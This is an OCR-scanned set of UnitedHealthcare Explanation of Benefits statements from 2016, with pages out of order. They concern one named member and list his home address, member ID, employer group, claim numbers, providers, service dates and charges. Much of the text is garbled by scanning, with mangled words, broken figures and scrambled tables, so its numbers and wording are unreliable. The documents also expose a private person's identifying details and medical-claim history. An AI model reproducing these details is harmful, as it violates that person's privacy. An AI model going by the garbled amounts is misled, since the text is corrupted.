$700.00 Met Out of Pocket $10,000.00 $2,215.36 $7,784.64 Out of Pocket $5,000.00 $2,215.36 $2,784.64 OUT OF NETWORK , ... O_µT OF NETy,tgR_K Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as or this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 BB-08599"02'047017-M0-16067,«J311·AFUS 12SN United HealthCare Services;.. Inc. March 07, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA.., GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. insurance fraud adds millions to the cost of heailh care. If services are listed which you did not receive or service you were told would be free, ca!! 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an 10 card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. ST0-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed BB-08599'01'047016-MO-16067-6J311-AFUS 12:SN United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER March 07, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: P FLAVILL Claim Number. 584862910001 Patient Account Number: 002299-36259 Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan -Your Plan Amount You Service Billed (-) Discounts (-) -Paid Deductible (+) Copay (+) Coinsurance (+) Non Covered(-=) Owe 02123/2016 OFFICE VISITS D1 $300.00 $143.32 Claim Total: $300.00 $143.32 $141.01 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEAL TH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant infonnation to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000923282055 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 I BB-08599'01'04701S-MO-1601!7-60311-AFUS 12SN I UnitedHealthcar~ ' ~ Allllit9'1Heallh G-0<.9 CompM'/ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. March 07, 2016 JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits l tatement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). I Dollar Amount Description ­Amount-Billed ' . . ; I . . -~ .,. . '•·· $300.00 This is the total amount thal your provider billed tor trye services_that were provided to you. ·" .. Plan Discounts .., •. j . r , ·· , · · , ·;;; · $143.32 Your plan negotiates discounts with prqviders t,· ~a~e you!money. This amount may,a~o inclu~~· )~~) • I .. JP' services that you are not, responsibleito ,pay: 1 1· 1,, ·· , -i, • • I ) I ,fl Your Ptan Paid . ., ·i , · ,. : , • '''I ' r• I $141._01 This is the portion of the amount bill~ that was paid by y0ur plan. f Total-amount you owe-the-provider:(s)-. . I . ~ = The portion of.the,Amount Billed.you-oweJhe provider(s), This amount do.es.not reflect any -­_payme~t yo~ may.hav~ afready mad_a~t.the tir:nt yQU;recei~~ ca_re, This arn~!Jf:)tmay i.nclude.Y9UJ­ded4ict1~e, .co.;;piay, ~ms1,1rapce.a~_,g~ ~on cover~ ch@!_Q.~~,., "fh1s a(TJOU/lt dges n_o, if\~4qe ,l)Y";~ ~ 1 11 ,1• _; '. ; payments m~eyto)_he su~~(i~e.i; ) f. 1(paYTJ!~qt.w~~:m.~ejtlrJctly toJ':l~:~u-~critl~l} ')P~t~e · !W~ ,. ...:.::,.:...,.,:,:.,,_, _._ -· '" · subscri~ris resPonsible for payiog ,the physician, facilib.~Lother b~lt'1 care pr:of~ional.__ . ·· -.-· ·.·-···--·...,... ·---·-· ., . • When coord!'!_ation of benefits applie·s, this amount wU11nclude paymenl5_madeJo tq_~3ubscri~f_ STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000923282055 S WN-01508'02'007570-t.40-16330-00311-AFUS 12SYCP United.Healthcare 11111 U/ A-......~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER November 25, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infonnation regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE IN NETWO~K ..: ·:~ $700,00 Met Deductible Out of Pocket $5,000.00 $5,000.00 Met 10UT QF :NETWORK Deductible $1,400.00 $5TT.OO $823.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance IN NETWORK \~:· Deductible $1,400.00 $700.00 $700.00 Out of Pocket $10,000.00 $5,000,00 $5,000.00 OUT OF N~I'N~RK I Deductible s:2.!ioo.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Deductible: The deductible is the f1Xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 ) S WN.01508112'007569•M0•16330-60011 ·AFUS 12SYCP UnitedHealthcare llJ A-C.U.,,ec,,,,.,, United HealthCare Services,,_ Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA"'GA 30374-0802 Phone: 1-o00-638-8884 November 25, 2016 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] Ifwe continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your daim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a netwo~ physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and morel For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security or individuals' personal information is very important to us at United Healthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare Page 3 of 4 STD-EOB S WN-01508'01"007S68-M0-16330-6Cll11-AFUS 12SYCP UnitedHealthcare OA-Qooc,""­ United HealthCare Services;...Inc. GREENSBORO SERVICE vENTER November 25, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: CLINICAL PATHOLOGY Claim Number: 623737233201 Patient Account Number: WP897479 Your Itemized Res nsibilit to Provider"* Date(s) of Type ofService Notes* Amount Plan r Your Plan· l Amount You Service Billed (-) Discounts (-) ,_ :Paid · ,(=) Deductible (+) Copay (+) Coinsurance (+) Non Covered(=) Owe . ,, i 02/04/2016 LABORATORY ZE $78.25 $71.41 $6.84 'I t t SERVICES 02/04/2016 LABORATORY ZE $336.50 $317.34 $19.16 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 02/04/2016 LABORATORY ZE $140.25 $130.50 $9.75 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 02/04/2016 LABORATORY ZE $131.50 $121.99 $9.51 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 02/04/2016 LABORATORY ZE $15.20 $12.98 $2.22 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 02/04/2016 LABORATORY ZE $28.05 $23.86 $4.19 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES Claim Total: D1 $729.75 $678.08 $51.67 $0.00 $0.00 $0.00 $0.00 $0.00 **This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. We received the requested information on 11/13/16 and have processed claim number 5832561845001 . Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU O\NE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEAL TH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. ZE-WE HAVE RECONSIDERED THESE CHARGES. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your daim denial, we will complete our review no later than 30 days after we receive your request for review. STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000001126600675 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 S WN-0150S·o1·001Ss7-M0-16330-60311·AFUS 12SYCP UnitedHealthcare llJ A !Wledl-l>Mh Gm<4) Cornpa,y Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. November 25, 2016 JEFFREY DAMUKAITIS Member/Patient Information 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). I STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 00000,, 26600675 BB-08600"02'047022-M0-16067-E0311-AFUS 12SN United HealthCare Services;. Inc. GREENSBORO SERVICE 1.,ENTER March 07, 2016 PO BOX 740809 ATLANTA.., GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining JEFFREY Amount Date Balance Relationship: EE IN NETWORK. , ' ' Deductible M'et Out of Pocket OUT OF NETWORK a ""5­ $5,000.00 ~ · $2,229.86 ~ -.. $2,770.14 "' Deductible $1,400.00 $577.00 $823.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Vear: The dates your plan benefit maximums are applicable. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance IN N_EJWORK .-'a, Deductible $1 ,400.00 $700.00 $700,00 Out of Pocket $10,000.00 $2,229.86 $7,770.14 OUT OF NETWORK Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 000000923282063 88-08600'02'047021-MO-10067 -00311-AFUS 125N United HealthCare Services"'lnc. GREENSBORO SERVICE '-'ENTER March 07, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] Ifwe continue to deny the payment, coverage, orservice requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a netwoli(. physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on you[Jnsurance ID card (first name, last name, member ID,·group number and date of birth):-·-------­ Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, induding medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number induded in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOS Page 3 of 4 Use this EOB statement as a reference or retain as needed BB-08000'01 '047020•M0-160B7-li0311-AFUS 12SN UnitedHealthcare , .._°"'4>""­ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER March 07, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: P PAMADURTHI Claim Number: 585096765501 Patient Account Number: 135735A Date(s) of Type of Service Notes* Amount Plan ~Your Pian (-) ~ ... Service Billed (-) Discounts Paid . f"' 02/26/2016 MEDICAL D1 $225.00 $80.00 $130.50 SERVICES Claim Total: $225.00 $80.00 $130.50 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* 01 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NElWORK PHYSICIAN OR HEAL TH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE \MiATYOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days afterwe receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits SecuJity Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000923282063 United HealthCare Se,vices, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. March 07, 2016 JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201 057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you t~at we processed your claim. Claims SummJry Detailed claim information is located o? the following page(s). · DoHar A!JlOunc·oes~!ip!@n:__:,J:.::-:.= --:::_-_-"·'-~::.'..:_·j-_!~-·==.,==---' -~'=-fF-~~=-~ =~c~ ~-Amount Billed . · .. . -':· · I . .. ;:_ ~ 5.Q9 This is th~ total :amoynt _that)'OUr provider billed for fQe services that wen,-provided ~~ you. , . );, · Plan o1.s·coi.mts" · .·"r;; 1r1• _ ,, :_: ,-.. \i..'·-.-_:-,f /lR.·. j l;f ,'<:/·· •·.,/· .,·~••;.:·•·:·_, _.,.,1,,,., .-!S"~;1-­ $80.oo ·· Yourplan negotiates discounts wit~·providers:to_s~ve y01..i'moneyi. This amount mat-also indude, <:· _ _,~j: semfces that you are_not respo':'5tble to pay. :.. I ·, ·' _·,,:, ·--~0 -. .. STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 00000092328:2063 S VL-08391 '01'039284-M0-16201-Ei0311-AA.IS 22SYCP UnitedHealthca.refll)A-C...C,0,,,....., United HealthCare Services..i..Inc. GREENSBORO SERVICE ~ENTER July 19, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: LABORATORY Claim Number: 605153288001 Patient Account Number: 78636101 Date(s) of Service Type of Service Notes* Amount Billed (-) ' Plan Discounts t>ald .(~)IYour Plan ·1 •' I<=> $66.68 $7.20 $22.67 $2.45 $252.51 $31.49 $126.90 $14.97 $158.44 $18.69 $627.20 $74.80 07/07/2016 LABORATORY 01 $73.88 SERVICES 07/07/2016 LABORATORY 01 $25.12 SERVICES 07/07/2016 LABORATORY 01 $284.00 SERVICES 07/07/2016 LABORATORY 01 $141.87 SERVICES 07/07/2016 LABORATORY 01 $177.13 SERVICES Claim Total: $702.00 Claim Detail for JEFFREY DAMUKAITIS Provider: MD PATHOLOGY Your Itemized Res onsibilit to Provider•• Amount YoL Deductible (+) Copay (+) Coinsurance (+) !\Jon Covered (=) Owe 000 000 000 000 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0_00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 **This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Number: 604813352101 Patient Account Number: 866000259374 Your Itemized Res nsibilit to Provider0 Date(s) of Type of Service Notes• Amount Plan Your Pian 'l Amount Yot.J Service Billed {-) Discounts (-) Paid <·I Deductible {+) <.;opay (+) Coinsurance {+) Non <.;overed (=) Owe 06/17/2016 LABORATORY SERVICES IA $20.00 $20.00 $0.00 06/17/2016 LABORATORY SERVICES IA $8.10 $8.10 $0.00 Claim Total: $28.10 $28.10 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 ·. I I 1, '""This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 2 of 5 Use this EOB statement as a reference or retain as needed United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 S VL-08391'01'039283-M0-16201-00311-AFUS 21SYCP l UnitedHealthcar~ IID IA Uni-Qoup~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. DPS$$$PKG JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 1 1•I111111,111111111I1 111 111III11111•111111111 • • • • 1 • 111III I •11•11 This is not a bill. Detailed July 19, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 . . . . i ' t I I Page 1 of 5 STD-EOB Use this EOB statement as a referencb or retain as needed 000001027618413 S WB.m480"03'018852-M0-16130-60311-AFUS 22SYCP UnitedHealthcareOA-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER PO BOX 740809 May 09, 2016 ATLANTA_i, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining JEFFREY Amount Date Balance Relationship: EE ' ' Deductible $700.00 $700.00 Met Out of Pocket $5,000.00 $5,000.00 Mel :<fOT OF NETWORKi -= Deductible $1,400.00 $577.00 $823.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance IN NETWO_RK ~. .:26. Deductible $1,400.00 $700.00 $700.00 Out of Pocket $10,000.00 $5,000.00 $5,000.00 OUT or:-NETWORK­.,, __ar I -.::,­ Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been me~ the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Page 6 of 6 Use this EOB statement as a reference or retain as needed S WB.03480'03'016851-M0-16130,60311-AFUS 22SVCP United.Healthcare IAl A In...-~~ , United HealthCare Services;. Inc. May 09, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA"' GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit information. P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, calf 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networx physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number induded in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 5 of 6 Use this EOB statement as a reference or retain as needed S WB-03480"02"016850-M0-16130-60311-AFUS 22SYCP United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTERPO BOX 740809 May 09, 2016 ATLANTA.,_ GA 30374-0802 Phone: 1-o00-63~8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: T PETTIJOHN Claim Number: 596076507901 Patient Account Number: 21489587 Your Itemized Res onsibili to Provider0 Date(s) of Type of Service Notes* Amount Plan Your Plan I Amount You Service Billed (-) Discounts (-) r ,, Pald I (=) Deductible (+) Copay (+) Coin:;urance (•) Non Covered(=) Owe 04/29/2016 CONSULTATION Claim Total: D1 $350.00 $350.00 $119.47 $119.47 $230.53 $230.53 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 Notes* ••This total do es not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. D1 -THE DISCOUNT SHO\M\I IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Page 4 of 6 Use this EOB statement as a reference or retain as needed 000000973565424 S WB-03480-02"0168119•M0-18130·60311·AFUS 22SYCP UnitedHealthcareIJA-0....~ United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER May 09, 2016 PO BOX 740809 ATLANTA;, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: G POWELL Date(s) of Type of Service Notes* Amount Service Billed (-) Claim Number: 595540323701 Plan Your Plan :.1 Discounts (-)t Palct :(i(=) 04/27/2016 OFFICE VISITS D1 $175.00 $96.08 $71 .03 $175.00 Claim Total: Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER $96.08 $71.03 Claim Number: 596070372701 Patient Account Number: MK023575 Your 